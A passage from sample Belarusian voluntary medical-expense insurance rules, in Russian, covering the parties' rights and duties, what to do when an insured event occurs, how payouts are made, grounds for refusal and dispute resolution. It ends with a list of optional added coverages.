10.2.1.      предоставлять Страховщику необходимую достоверную информацию, касающуюся Застрахованного лица;

10.2.2.      уплачивать в установленные договором добровольного страхования сроки страховой взнос;

10.2.3.      при заключении договора уведомить Страховщика о наличии договора добровольного страхования медицинских расходов с другой страховой организацией, если такой имеется;

10.2.4.      незамедлительно, до обращения в организацию здравоохранения, уведомить Страховщика о наступлении страхового случая;

10.2.5.      надлежащим образом исполнять обязанности, определенные настоящими Правилами и договором добровольного страхования.

10.3. Застрахованное лицо имеет право:

10.3.1.      на получение медицинской помощи в соответствии с договором добровольного страхования в предусмотренных в нем организациях здравоохранения;

10.3.2.      сообщать Страховщику о случаях не предоставления медицинской помощи, неполного или некачественного предоставления таких услуг;

10.3.3.      при утрате страхового полиса и/или идентификационной карточки получить его дубликат;

10.3.4.      предъявлять претензии при нарушении Страховщиком, организацией здравоохранения условий страхования.

10.4. Застрахованное лицо обязано:

10.4.1.      выполнять условия договора добровольного страхования;

10.4.2.      соблюдать предписания врача, полученные в ходе предоставления медицинской помощи, соблюдать распорядок, установленный организацией здравоохранения;

10.4.3.      предоставить врачу Страховщика возможность обследования состояния своего здоровья;

10.4.4.      обеспечить сохранность страховых документов и не передавать их другим лицам с целью получения ими медицинской помощи;

10.4.5.      при утрате страхового полиса, идентификационной карточки незамедлительно сообщить об этом Страховщику для получения дубликата;

10.4.6.      при изменении фамилии письменно уведомить Страховщика в течение трех рабочих дней;

10.4.7.      незамедлительно сообщить Страховщику о выявленных в период действия договора заболеваний и обстоятельств, указанных в пунктах 1.5. и 5.1. настоящих Правил;

10.4.8.      надлежащим образом исполнять обязанности, определенные настоящими Правилами и договором добровольного страхования, и актами законодательства.

10.5. Страховщик имеет право:

10.5.1.      выбирать медицинские учреждения для оказания медицинской помощи по договорам страхования и заключать с ними договоры на предоставление медицинских услуг;

10.5.2.      проверять полученную от Страхователя (Застрахованного лица) информацию, а также выполнение Страхователем (Застрахованным лицом) условий договора;

10.5.3.      до принятия на страхование потребовать любые дополнительные обследования и документы, подтверждающие состояние здоровья по данным, содержащимся в анкете и по результатам медицинского обследования (за счет средств Страхователя);

10.5.4.      получать от правоохранительных, судебных органов, организаций здравоохранения и других компетентных лиц документы, необходимые для решения вопросов о выплате страхового обеспечения (за исключением информации, не подлежащей разглашению этими лицами в соответствии с законодательством).

10.6. Страховщик обязан:

10.6.1.      контролировать объем и качество оказываемой Застрахованному лицу медицинской помощи в соответствии с условиями договора и в рамках выбранной программы добровольного страхования медицинских расходов;

10.6.2.      защищать интересы Застрахованного лица;

10.6.3.      ознакомить Страхователя с условиями добровольного страхования медицинских расходов;

10.6.4.      вручить Страхователю настоящие Правила;

10.6.5.      выдать Страхователю страховой полис, Застрахованному лицу – идентификационную карточку, а при их утрате – дубликаты;

10.6.6.      при наступлении страхового случая производить оплату медицинской помощи в соответствии с договором добровольного страхования;

10.6.7.      обеспечивать конфиденциальность в отношении Застрахованного лица;

10.6.8.      обеспечить предоставление медицинских услуг Застрахованному лицу в другой организации здравоохранения при отсутствии возможности оказания медицинской помощи Застрахованному лицу в указанной в программе организации здравоохранения;

10.6.9.      надлежащим образом исполнять обязанности, определенные настоящими Правилами и договором добровольного страхования.

 

III. Порядок и условия выплаты страхового обеспечения

 

  1. Действия сторон при наступлении страхового случая

11.1.     При наступлении страхового случая Застрахованное лицо обязано немедленно (до обращения в организацию здравоохранения) обратиться к Страховщику по телефонам, указанным в страховом полисе и в идентификационной карточке, и сообщить данные, которые содержатся в договоре страхования, и причину обращения.

11.2.     В случае невозможности совершения действий, указанных в пункте 11.1. настоящих Правил, Застрахованное лицо должно при первой же возможности связаться по телефону со Страховщиком. В любом случае, если Застрахованное лицо обратилось в организацию здравоохранения за медицинской помощью, включенную в договор добровольного страхования, оно должно предъявить документ, удостоверяющий личность, и идентификационную карту и не нести никаких расходов самостоятельно без согласования со Страховщиком.

11.3.     В случае нарушения порядка действий, указанных в пунктах 11.1. и 11.2. настоящих Правил, Застрахованное лицо обязано обосновать это Страховщику в письменном виде.

11.4.     Организация здравоохранения оказывает медицинские услуги Застрахованному лицу в соответствии с программой добровольного страхования.

На каждое Застрахованное лицо в организациях здравоохранения оформляется медицинская документация.

11.5.     После оказания медицинских услуг Застрахованному лицу организация здравоохранения (Выгодоприобретатель) представляет страховщику следующие документы:

счет-фактуру с указанием общей суммы расходов, понесенных по оказанию застрахованным лицам медицинских услуг;

акт оказанных медицинских услуг в амбулаторно-поликлинических условиях, либо справку-счет;

акт оказанных медицинских услуг в условиях стационара, либо справку-счет;

выписной эпикриз при оказании стационарной помощи;

акт оказанных медицинских услуг по стоматологической помощи; акт оказанных медицинских услуг по неотложной помощи;

сводный реестр на отпущенные медицинские препараты.

  1. Порядок выплаты страхового обеспечения

12.1.     Выплата страхового обеспечения производится Страховщиком организации здравоохранения, с которой Страховщик заключил договор на предоставление медицинской помощи и которая в соответствии с законодательством предоставила Застрахованному лицу медицинскую помощь, на основании акта о страховом случае.

12.2.     Для составления акта о страховом случае (приложение №5) организация здравоохранения представляет Страховщику счет, акт оказанных медицинских услуг, в которых указываются номер и дата выписки страхового полиса (номер и дата заключения договора страхования), полное имя Застрахованного лица, которому была оказана медицинская помощь, включая медикаментозное лечение, стоимость, сумму расходов, понесенных по всем оказанным Застрахованному лицу медицинским мероприятиям. Счет должен быть заверен печатью и подписью ответственного лица организации здравоохранения.

12.3.     Страховщик имеет право проверки всех представленных документов вплоть до проведения специалистами медицинского обследования. Возмещение медицинских расходов Страховщиком осуществляется после проверки всех представленных документов.

12.4.     Страховщик составляет акт о страховом случае в течение 10 рабочих дней со дня получения всех необходимых документов. Выплата страхового обеспечения организации здравоохранения осуществляется в течение 10 рабочих дней со дня составления Страховщиком акта о страховом случае.

12.5.     После выплаты страхового обеспечения по страховому случаю договор добровольного страхования действует в размере разницы между указанной в договоре добровольного страхования суммой и суммой выплаченного страхового обеспечения по данному случаю.

Общая сумма выплат страхового обеспечения по всем страховым случаям, произошедшим в период действия договора добровольного страхования, не может превышать установленной при заключении договора страховой суммы.

12.6.     За несвоевременную выплату страхового обеспечения Страховщик уплачивает организации здравоохранения пеню за каждый день просрочки в размере 0,1% от суммы, подлежащей к выплате.

  1. Случаи отказа в выплате страхового обеспечения

13.1.     Страховщик освобождается от выплаты страхового обеспечения, если страховой случай произошел вследствие:

13.1.1.      умышленных действий Страхователя (Застрахованного лица), повлекших наступление страхового случая, за исключением случаев, предусмотренных действующим законодательством Республики Беларусь;

13.1.2.      воздействия ядерного взрыва, радиации или радиоактивного загрязнения, военных действий, гражданской войны.

13.2.     Решение об отказе в выплате страхового обеспечения принимается Страховщиком и сообщается Страхователю (Застрахованному лицу) не позднее пяти рабочих дней после получения всей необходимой документации, в письменной форме и с мотивацией причины отказа.

Отказ в выплате страхового обеспечения может быть обжалован в судебном порядке.

  1. Порядок разрешения споров

14.1.     Споры, вытекающие из договора страхования, разрешаются путем переговоров. При не достижении соглашения они разрешаются судом или хозяйственным судом в соответствии с их компетенцией, установленной законодательством Республики Беларусь, по месту нахождения Страховщика.

 

Настоящие Правила вступают в силу с даты, указанной в лицензии на осуществление страховой деятельности, для такой составляющей страховую деятельность, работы и услуги, как добровольное страхование медицинских расходов.

 

Дополнительные медицинские мероприятия, принимаемые на страхование при формировании индивидуальных программ страхования медицинских расходов:

диагностика и лечение заболеваний и инфекций, передающихся половым путем (уреаплазмоз, гарднереллез, хламидиоз, микоплазмоз, кандида албиканс, трихомониаз, гонорея)

офтальмокоррекция (подбор очков, линз, коррекция с помощью лазерных аппаратов и оперативного лечения) за исключением случаев острых и хронических воспалительных заболеваний глаз и придаточного аппарата в стадии обострения, а также травм и ожогов

вакцинопрофилактика против гриппа

медикаментозное лечение после заболеваний, травм и медицинских состояний, покрываемых условиями страхования, в пределах суммы, установленной в белорусских рублях, эквивалентной 250 долларам США по официальному курсу белорусского рубля к доллару США, установленному Национальным банком Республики Беларусь на дату заключения договора страхования

ведение беременности и родов

реабилитационно-восстановительное лечение в условиях санатория.

 

Пример правил по добровольному страхованию гражданской медицинских расходов.

У каждой страховой компании правила страхования могут отличаться.



 
Rating All.BY
Наша группа в Одноклассниках
Мы ВКонтакте
Наша страница Facebook
Страховка VIP в Twitter